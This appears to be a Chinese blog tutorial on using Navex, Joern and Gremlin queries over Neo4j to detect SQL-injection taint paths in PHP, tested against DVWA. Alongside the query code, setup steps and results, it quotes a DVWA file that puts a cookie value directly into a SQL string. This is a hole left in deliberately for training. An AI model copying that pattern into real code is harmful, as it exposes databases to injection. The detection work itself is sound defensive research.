 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9510' labels=set([u'AST']) properties={u'id': 9510, u'childnum': 5, u'type': u'AST_ASSIGN', u'lineno': 14, u'funcid': 9397}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124201' start=u'node/9501' end=u'node/9510' type=u'REACHES' properties={u'var': u'pass', u'taint_src': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9501' labels=set([u'AST']) properties={u'childnum': 4, u'funcid': 9397, u'type': u'AST_ASSIGN', u'id': 9501, u'lineno': 11}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124200' start=u'node/9462' end=u'node/9501' type=u'REACHES' properties={u'var': u'pass', u'taint_dst': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9462' labels=set([u'AST']) properties={u'childnum': 3, u'funcid': 9397, u'type': u'AST_ASSIGN', u'id': 9462, u'lineno': 10}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124199' start=u'node/9455' end=u'node/9462' type=u'REACHES' properties={u'var': u'pass'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9455' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 9397, u'type': u'AST_ASSIGN', u'id': 9455, u'lineno': 9}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/9701' labels=set([u'AST']) properties={u'id': 9701, u'childnum': 1, u'type': u'AST_CALL', u'lineno': 13, u'funcid': 9651}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9697' labels=set([u'AST']) properties={u'childnum': 4, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 13, u'type': u'AST_BINARY_OP', u'id': 9697, u'funcid': 9651}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124233' start=u'node/9686' end=u'node/9697' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9686' labels=set([u'AST']) properties={u'id': 9686, u'childnum': 3, u'type': u'AST_ASSIGN', u'lineno': 12, u'funcid': 9651}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124238' start=u'node/9663' end=u'node/9686' type=u'REACHES' properties={u'var': u'user'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9663' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 9651, u'type': u'AST_ASSIGN', u'id': 9663, u'lineno': 5}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/9701' labels=set([u'AST']) properties={u'id': 9701, u'childnum': 1, u'type': u'AST_CALL', u'lineno': 13, u'funcid': 9651}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9697' labels=set([u'AST']) properties={u'childnum': 4, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 13, u'type': u'AST_BINARY_OP', u'id': 9697, u'funcid': 9651}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124233' start=u'node/9686' end=u'node/9697' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9686' labels=set([u'AST']) properties={u'id': 9686, u'childnum': 3, u'type': u'AST_ASSIGN', u'lineno': 12, u'funcid': 9651}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124232' start=u'node/9677' end=u'node/9686' type=u'REACHES' properties={u'var': u'pass', u'taint_src': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9677' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 9651, u'type': u'AST_ASSIGN', u'id': 9677, u'lineno': 9}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124231' start=u'node/9670' end=u'node/9677' type=u'REACHES' properties={u'var': u'pass', u'taint_dst': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9670' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 9651, u'type': u'AST_ASSIGN', u'id': 9670, u'lineno': 8}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/13369' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 13255, u'type': u'AST_CALL', u'id': 13369, u'lineno': 19}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/13365' labels=set([u'AST']) properties={u'childnum': 3, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 19, u'type': u'AST_BINARY_OP', u'id': 13365, u'funcid': 13255}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124975' start=u'node/13350' end=u'node/13365' type=u'REACHES' properties={u'var': u'insert'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/13350' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 13255, u'type': u'AST_ASSIGN', u'id': 13350, u'lineno': 18}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124980' start=u'node/13341' end=u'node/13350' type=u'REACHES' properties={u'var': u'pass_new', u'taint_src': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/13341' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 13255, u'type': u'AST_ASSIGN', u'id': 13341, u'lineno': 15}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124979' start=u'node/13302' end=u'node/13341' type=u'REACHES' properties={u'var': u'pass_new', u'taint_dst': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/13302' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 13255, u'type': u'AST_ASSIGN', u'id': 13302, u'lineno': 14}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124978' start=u'node/13280' end=u'node/13302' type=u'REACHES' properties={u'var': u'pass_new'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/13280' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 13255, u'type': u'AST_ASSIGN', u'id': 13280, u'lineno': 8}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/13845' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 13725, u'type': u'AST_CALL', u'id': 13845, u'lineno': 18}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/13841' labels=set([u'AST']) properties={u'childnum': 3, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 18, u'type': u'AST_BINARY_OP', u'id': 13841, u'funcid': 13725}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125044' start=u'node/13826' end=u'node/13841' type=u'REACHES' properties={u'var': u'insert'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/13826' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 13725, u'type': u'AST_ASSIGN', u'id': 13826, u'lineno': 17}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125049' start=u'node/13817' end=u'node/13826' type=u'REACHES' properties={u'var': u'pass_new', u'taint_src': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/13817' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 13725, u'type': u'AST_ASSIGN', u'id': 13817, u'lineno': 14}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125048' start=u'node/13778' end=u'node/13817' type=u'REACHES' properties={u'var': u'pass_new', u'taint_dst': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/13778' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 13725, u'type': u'AST_ASSIGN', u'id': 13778, u'lineno': 13}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125047' start=u'node/13756' end=u'node/13778' type=u'REACHES' properties={u'var': u'pass_new'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/13756' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 13725, u'type': u'AST_ASSIGN', u'id': 13756, u'lineno': 7}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/14032' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 13931, u'type': u'AST_CALL', u'id': 14032, u'lineno': 16}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/14028' labels=set([u'AST']) properties={u'childnum': 3, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 16, u'type': u'AST_BINARY_OP', u'id': 14028, u'funcid': 13931}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125066' start=u'node/14013' end=u'node/14028' type=u'REACHES' properties={u'var': u'insert'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/14013' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 13931, u'type': u'AST_ASSIGN', u'id': 14013, u'lineno': 15}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125071' start=u'node/14004' end=u'node/14013' type=u'REACHES' properties={u'var': u'pass_new', u'taint_src': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/14004' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 13931, u'type': u'AST_ASSIGN', u'id': 14004, u'lineno': 12}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125070' start=u'node/13965' end=u'node/14004' type=u'REACHES' properties={u'var': u'pass_new', u'taint_dst': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/13965' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 13931, u'type': u'AST_ASSIGN', u'id': 13965, u'lineno': 11}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125069' start=u'node/13943' end=u'node/13965' type=u'REACHES' properties={u'var': u'pass_new'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/13943' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 13931, u'type': u'AST_ASSIGN', u'id': 13943, u'lineno': 5}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/15558' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 15417, u'type': u'AST_CALL', u'id': 15558, u'lineno': 31}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/15554' labels=set([u'AST']) properties={u'childnum': 3, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 31, u'type': u'AST_BINARY_OP', u'id': 15554, u'funcid': 15417}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125405' start=u'node/15539' end=u'node/15554' type=u'REACHES' properties={u'var': u'insert'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/15539' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 15417, u'type': u'AST_ASSIGN', u'id': 15539, u'lineno': 30}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125410' start=u'node/15530' end=u'node/15539' type=u'REACHES' properties={u'var': u'pass_new', u'taint_src': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/15530' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 15417, u'type': u'AST_ASSIGN', u'id': 15530, u'lineno': 27}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125409' start=u'node/15491' end=u'node/15530' type=u'REACHES' properties={u'var': u'pass_new', u'taint_dst': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/15491' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 15417, u'type': u'AST_ASSIGN', u'id': 15491, u'lineno': 26}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125408' start=u'node/15435' end=u'node/15491' type=u'REACHES' properties={u'var': u'pass_new'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/15435' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 15417, u'type': u'AST_ASSIGN', u'id': 15435, u'lineno': 8}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/16277' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 16040, u'type': u'AST_CALL', u'id': 16277, u'lineno': 69}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/16273' labels=set([u'AST']) properties={u'childnum': 3, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 69, u'type': u'AST_BINARY_OP', u'id': 16273, u'funcid': 16040}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125512' start=u'node/16258' end=u'node/16273' type=u'REACHES' properties={u'var': u'insert'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/16258' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 16040, u'type': u'AST_ASSIGN', u'id': 16258, u'lineno': 68}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125519' start=u'node/16249' end=u'node/16258' type=u'REACHES' properties={u'var': u'pass_new', u'taint_src': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/16249' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 16040, u'type': u'AST_ASSIGN', u'id': 16249, u'lineno': 65}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125518' start=u'node/16210' end=u'node/16249' type=u'REACHES' properties={u'var': u'pass_new', u'taint_dst': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/16210' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 16040, u'type': u'AST_ASSIGN', u'id': 16210, u'lineno': 64}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125517' start=u'node/16168' end=u'node/16210' type=u'REACHES' properties={u'var': u'pass_new'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/16168' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 16040, u'type': u'AST_ASSIGN', u'id': 16168, u'lineno': 51}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/16579' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 16362, u'type': u'AST_CALL', u'id': 16579, u'lineno': 61}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/16575' labels=set([u'AST']) properties={u'childnum': 3, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 61, u'type': u'AST_BINARY_OP', u'id': 16575, u'funcid': 16362}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125563' start=u'node/16560' end=u'node/16575' type=u'REACHES' properties={u'var': u'insert'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/16560' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 16362, u'type': u'AST_ASSIGN', u'id': 16560, u'lineno': 60}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125570' start=u'node/16551' end=u'node/16560' type=u'REACHES' properties={u'var': u'pass_new', u'taint_src': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/16551' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 16362, u'type': u'AST_ASSIGN', u'id': 16551, u'lineno': 57}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125569' start=u'node/16512' end=u'node/16551' type=u'REACHES' properties={u'var': u'pass_new', u'taint_dst': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/16512' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 16362, u'type': u'AST_ASSIGN', u'id': 16512, u'lineno': 56}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/125568' start=u'node/16490' end=u'node/16512' type=u'REACHES' properties={u'var': u'pass_new'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/16490' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 16362, u'type': u'AST_ASSIGN', u'id': 16490, u'lineno': 50}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/122239' labels=set([u'AST']) properties={u'id': 122239, u'childnum': 0, u'type': u'AST_CALL', u'lineno': 40, u'funcid': 121984}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/122234' labels=set([u'AST']) properties={u'childnum': 13, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 40, u'type': u'AST_BINARY_OP', u'id': 122234, u'funcid': 121984}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/149605' start=u'node/122223' end=u'node/122234' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/122223' labels=set([u'AST']) properties={u'id': 122223, u'childnum': 12, u'type': u'AST_ASSIGN', u'lineno': 39, u'funcid': 121984}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/149614' start=u'node/122071' end=u'node/122223' type=u'REACHES' properties={u'var': u'user'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/122071' labels=set([u'AST']) properties={u'childnum': 4, u'funcid': 121984, u'type': u'AST_ASSIGN', u'id': 122071, u'lineno': 22}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/149613' start=u'node/122062' end=u'node/122071' type=u'REACHES' properties={u'var': u'user'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/122062' labels=set([u'AST']) properties={u'childnum': 3, u'funcid': 121984, u'type': u'AST_ASSIGN', u'id': 122062, u'lineno': 21}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/149612' start=u'node/122055' end=u'node/122062' type=u'REACHES' properties={u'var': u'user'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/122055' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 121984, u'type': u'AST_ASSIGN', u'id': 122055, u'lineno': 20}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/122239' labels=set([u'AST']) properties={u'id': 122239, u'childnum': 0, u'type': u'AST_CALL', u'lineno': 40, u'funcid': 121984}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/122234' labels=set([u'AST']) properties={u'childnum': 13, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 40, u'type': u'AST_BINARY_OP', u'id': 122234, u'funcid': 121984}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/149605' start=u'node/122223' end=u'node/122234' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/122223' labels=set([u'AST']) properties={u'id': 122223, u'childnum': 12, u'type': u'AST_ASSIGN', u'lineno': 39, u'funcid': 121984}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/149603' start=u'node/122165' end=u'node/122223' type=u'REACHES' properties={u'var': u'pass', u'taint_src': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/122165' labels=set([u'AST']) properties={u'childnum': 8, u'funcid': 121984, u'type': u'AST_ASSIGN', u'id': 122165, u'lineno': 27}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/149602' start=u'node/122126' end=u'node/122165' type=u'REACHES' properties={u'var': u'pass', u'taint_dst': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/122126' labels=set([u'AST']) properties={u'childnum': 7, u'funcid': 121984, u'type': u'AST_ASSIGN', u'id': 122126, u'lineno': 26}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/149601' start=u'node/122117' end=u'node/122126' type=u'REACHES' properties={u'var': u'pass'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/122117' labels=set([u'AST']) properties={u'childnum': 6, u'funcid': 121984, u'type': u'AST_ASSIGN', u'id': 122117, u'lineno': 25}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/149600' start=u'node/122110' end=u'node/122117' type=u'REACHES' properties={u'var': u'pass'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/122110' labels=set([u'AST']) properties={u'childnum': 5, u'funcid': 121984, u'type': u'AST_ASSIGN', u'id': 122110, u'lineno': 24}>]
--------------------------------------------------

遍历已有路径查询repair

Paths = []

// 向下遍历筛选未经过滤的 VulnerablePath
for ( vpaths in VulnerablePaths){   //遍历所有存在分析风险的路径, 循环取出每一个path进行分析
    vlen = vpaths.size()            
    p = []

    for (int i = 1; i < vlen ; i+=2) {  // path结构是 [v_call,v,e,v,e,v] 这种格式的, 所以1+=2, 遍历节点
        node = vpaths[i];
        if ( i+1 < vlen){   // 因为[v_call,v,e,v,e,v]的形式, 最后一个节点是没有边信息的, 所要边界检查一下
            source_var = vpaths[i+1].var;   // 取出DataFlow边(`REACHES`)上传递的变量名, 给后面做变量筛查
        }
        else{           //最后一个var可能来自于 `$var_id = repair($_POST['id'])` 所以要特殊处理
            source_var = vpaths[i].match {
                        it.type == "AST_VAR" &&
                        it.containsLowSource().toList().size() > 0 }.varToName().toList()[0]
        }
        // 这里要筛选变量, 满足以下条件
        // 首先该节点是 "AST_VAR" 类型的, 也就是个变量
        // 该变量会从当前节点流出到下一个DataFlow节点
        // 该变量没有被过滤:
        //      1.这个变量没有被函数处理
        //      2.这个变量被函数处理了, 但处理函数不是repairs中的函数
        // 输出所有变量名
        alive_vars = node.match{isAssignment(it)}.rval().match {
                    it.type == "AST_VAR" &&
                    it.varToName().toList().contains(source_var) &&
                    it.argToCall().transform{getFuncName(it)}.toList().intersect(repairs) == [] 
                    }.varToName().toList()

        // 如果alive_vars中包含了传递出去的变量名, 也就是这个点的变量存活下来, 就添加到p
        if (alive_vars.contains(source_var)){
              p.add(node);
        }else{      // 否则p=[], i=vlen, 循环结束
            p = []
            i = vlen
        }
    }
    // 如果p=[], 该path被过滤, 不考虑
    if(p.isEmpty()){
        continue
    }
    else{       // 如果p != [], 该path存在风险, 添加该路径到结果`Paths`中
        Paths.add(vpaths)
        p =[]
    }

}

上述代码中引用的getFuncName

// gets the function name of a call expression
Object.metaClass.getFuncName = { it ->
    if (it.type == TYPE_CALL) {
        // have to call .next() because the calls to ithChildren()
        // implictly convert the vertex 'it' into a Gremlin pipeline, but
        // we know that only one vertex is spit out at the end and we want
        // its 'code' property
        it.ithChildren(0).ithChildren(0).next().code
    } else if (it.type == TYPE_STATIC_CALL ||
            it.type == TYPE_METHOD_CALL) {
        it.ithChildren(1).next().code
    } else {
        null
    }
}

完整代码

import json
from pprint import pprint

from Analysis import Analysis

attackType = "sql"
sa = Analysis(7474)
query = sa.prepareQueryStatic(attackType)

query = """
sql_query_funcs = ["mysql_query", "mysqli_query", "pg_query", "sqlite_query"]

repairs = ["md5", "addslashes", "mysqli_real_escape_string", "mysql_escape_string"]

Paths = []

VulnerablePaths = g.V().filter{sql_query_funcs.contains(it.code)  && isCallExpression(it.nameToCall().next())}.as('sink')
.callexpressions().as('sloop').statements().inE('REACHES').outV.loop('sloop')
{ it.loops < 10  }{ it.object.containsLowSource().toList() != []}.path().toList()


for ( vpaths in VulnerablePaths){
    vlen = vpaths.size()
    p = []

    for (int i = 1; i < vlen ; i+=2) {
        node = vpaths[i];
        if ( i+1 < vlen){
            source_var = vpaths[i+1].var;
        }
        else{
            source_var = vpaths[i].match {
                        it.type == "AST_VAR" &&
                        it.containsLowSource().toList().size() > 0 }.varToName().toList()[0]
        }

        alive_vars = node.match{isAssignment(it)}.rval().match {
                    it.type == "AST_VAR" &&
                    it.varToName().toList().contains(source_var) &&
                    it.argToCall().transform{getFuncName(it)}.toList().intersect(repairs) == [] 
                    }.varToName().toList()


        if (alive_vars.contains(source_var)){
              p.add(node);
        }else{
            p = []
            i = vlen
        }
    }

    if(p.isEmpty()){
        continue
    }
    else{
        Paths.add(vpaths)
        p =[]
    }

}


result = []
for (x in Paths){
    result.add([x[0].toFileAbs().next().name, x[0].lineno, getFuncName(x[0])])
    for (int i = 1; i < x.size() ; i+=2){
        result.add([x[i].toFileAbs().next().name, x[i].lineno, x[i].match{it.type == 'AST_VAR'}.resolveCallArgsNew3()])
    }
    result.add("------------------")
}

result

"""

result, elapsed_time = sa.runTimedQuery(query)
print(query)
print("result:")
# print (result)
# exit()
if type(result) == list:
    print("len:", len(result))
    for x in result:
        # print(type(x), type("AST_CALL"))
        print(x)
    exit()
try:
    print (json.dumps(result, indent=2))
except:
    print (result)

安装与使用

安装 Navex -> python-joern for php

如果按照论文作者的github来安装, 最多到 python-joern 查询这一步就走不下去了,

如上文, 作者删除最关键的漏洞查询语句

这边我整理一下资源, 上传到github, 因为有些资源不是很好找, 而且代码不全, 我花费了了大量的业余时间修补填坑

https://github.com/UUUUnotfound/Navex_fixed

  1. 目录结构
[email protected]:~/Navex$ tree  -L 2
.
├── batch-import        # 批量数据导入Neo4j
│   ├── batch_importer_21.zip
│   ├── import.bat
│   ├── import.sh
│   ├── lib
│   └── readme.md
├── joern               # joern, 这里主要使用 `phpast2cpg`
│   ├── AUTHORS
│   ├── build
│   ├── build.gradle
│   ├── build.sh
│   ├── docs
│   ├── eclipse
│   ├── gremtest
│   ├── joern-parse
│   ├── joern-server.sh
│   ├── LICENSE
│   ├── phpast2cpg
│   ├── projects
│   ├── python
│   ├── README.md
│   ├── RELEASE_NOTES
│   └── settings.gradle
├── neo4j-community-2.1.8  # Neo4j图数据库, 默认数据库文件存放位置`data/graph.db`
│   ├── bin
│   ├── CHANGES.txt
│   ├── conf
│   ├── data
│   ├── lib
│   ├── LICENSES.txt
│   ├── LICENSE.txt
│   ├── NOTICE.txt
│   ├── plugins
│   ├── README.txt
│   ├── system
│   └── UPGRADE.txt
├── phpjoern            # 主要用`php2ast`来生成`nodes.csv`, `rels.csv`
│   ├── 1.php
│   ├── AUTHORS
│   ├── conf
│   ├── LICENSE
│   ├── php2ast
│   ├── README.md
│   └── src
├── php_src             # 这里存放测试文件源码, 我这里准备的是`dvwa`, `graph.db`是我生成好的Neo4j数据
│   ├── dvwa
│   └── graph.db
└── python-joern        # 用来连接`localhost:7474`进行图查询, `main_test.py`是demo文件, 可以查询sql注入
    ├── Analysis.py
    ├── docs
    ├── exploitFinding.py
    ├── ExploitSeed.py
    ├── joern
    ├── LICENSE
    ├── main_test.py
    ├── README.md
    ├── setup.py
    ├── static-main.py
    ├── staticResults.py
    └── testing
  1. 安装依赖
git clone https://github.com/UUUUnotfound/Navex_fixed
cd Navex_fixed
sudo apt install php7.0 php-ast python-dev graphviz libgraphviz-dev pkg-config python-setuptools python-pip openjdk-8-jdk groovy -y
sudo pip install py2neo==2.0.7 -i https://pypi.tuna.tsinghua.edu.cn/simple 
grape install commons-net commons-net 3.3
grape install com.github.jsqlparser jsqlparser 1.1

运行Navex -> python-joern for php

  1. 生成CPG数据并导入Neo4j
APP_NAME=dvwa
mkdir workspace && cd $_
../phpjoern/php2ast ../php_src/$APP_NAME
../joern/phpast2cpg nodes.csv rels.csv

HEAP=3G
JEXP_HOME=../batch-import/
PHPJOERN_HOME=../phpjoern/
java -classpath "$JEXP_HOME/lib/*" -Dfile.encoding=UTF-8 org.neo4j.batchimport.Importer $PHPJOERN_HOME/conf/batch.properties graph.db nodes.csv rels.csv,cpg_edges.csv

cp -R  graph.db ../neo4j-community-2.1.8/data/
  1. 启动Neo4j
cd neo4j-community-2.1.8/bin
./neo4j console

浏览器访问http://localhost:7474/browser/, 选择左侧labels->Filesystem可以看到如下界面, 数据库已经加载成功

8fc64b6aeda5f3a4766f497f8beaf906.png

  1. 使用python-joern进行查询
cd python-joern
python main_test.py

查询结果分析

查询结果

('len:', 20)
[u'../php_src/dvwa/vulnerabilities/sqli_blind/source/high.php', 9, u'mysqli_query']
[u'../php_src/dvwa/vulnerabilities/sqli_blind/source/high.php', 9, [u'$result', u'$getid', u'$GLOBALS']]
[u'../php_src/dvwa/vulnerabilities/sqli_blind/source/high.php', 8, [u'$getid', u'$id']]
[u'../php_src/dvwa/vulnerabilities/sqli_blind/source/high.php', 5, [u'$id', u'$_COOKIE']]
------------------
[u'../php_src/dvwa/vulnerabilities/sqli_blind/source/low.php', 9, u'mysqli_query']
[u'../php_src/dvwa/vulnerabilities/sqli_blind/source/low.php', 9, [u'$result', u'$getid', u'$GLOBALS']]
[u'../php_src/dvwa/vulnerabilities/sqli_blind/source/low.php', 8, [u'$getid', u'$id']]
[u'../php_src/dvwa/vulnerabilities/sqli_blind/source/low.php', 5, [u'$id', u'$_GET']]
------------------
[u'../php_src/dvwa/vulnerabilities/sqli/source/low.php', 9, u'mysqli_query']
[u'../php_src/dvwa/vulnerabilities/sqli/source/low.php', 9, [u'$result', u'$query', u'$GLOBALS', u'$___mysqli_res']]
[u'../php_src/dvwa/vulnerabilities/sqli/source/low.php', 8, [u'$query', u'$id']]
[u'../php_src/dvwa/vulnerabilities/sqli/source/low.php', 5, [u'$id', u'$_REQUEST']]
------------------
[u'../php_src/dvwa/vulnerabilities/brute/source/low.php', 13, u'mysqli_query']
[u'../php_src/dvwa/vulnerabilities/brute/source/low.php', 13, [u'$result', u'$query', u'$GLOBALS', u'$___mysqli_res']]
[u'../php_src/dvwa/vulnerabilities/brute/source/low.php', 12, [u'$query', u'$pass', u'$user']]
[u'../php_src/dvwa/vulnerabilities/brute/source/low.php', 5, [u'$user', u'$_GET']]
------------------

漏洞所在文件

dvwa/vulnerabilities/sqli_blind/source/high.php

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
